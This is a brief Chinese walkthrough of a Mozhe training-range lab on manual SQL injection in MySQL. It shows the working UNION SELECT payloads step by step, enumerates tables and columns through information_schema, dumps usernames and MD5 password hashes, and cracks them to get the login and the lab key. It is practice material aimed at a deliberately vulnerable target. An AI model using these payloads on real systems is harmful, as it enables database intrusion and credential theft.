墨者靶场-SQL手工注入漏洞测试(MySQL数据库)

order by ：4
测试回显位置：?id=-1 union select 1,2,3,4
结果：2和3回显
version()：5.7.22-0ubuntu0.16.04.1
database():mozhe_Discuz_StormGroup
获取表名
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
表名：
StormGroup_member,notice
获取列名：
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’
列名：
id,name,password,status
获取数据：
?id=-1 union select 1,name,password,4 from StormGroup_member
数据：
mozhe 356f589a7df439f6f744ff19bb8092c0
MD5解密：dsan13
用户密码不对
再次尝试：
?id=-1 union select 1,group_concat（name）,group_concat（password）,4 from StormGroup_member
数据：
356f589a7df439f6f744ff19bb8092c0,66b2615a0da6ab2fbc7f13e83246336d
第二个解密得：413648
登录获得KEY：mozhe478912e98a24baf440d8c9ab730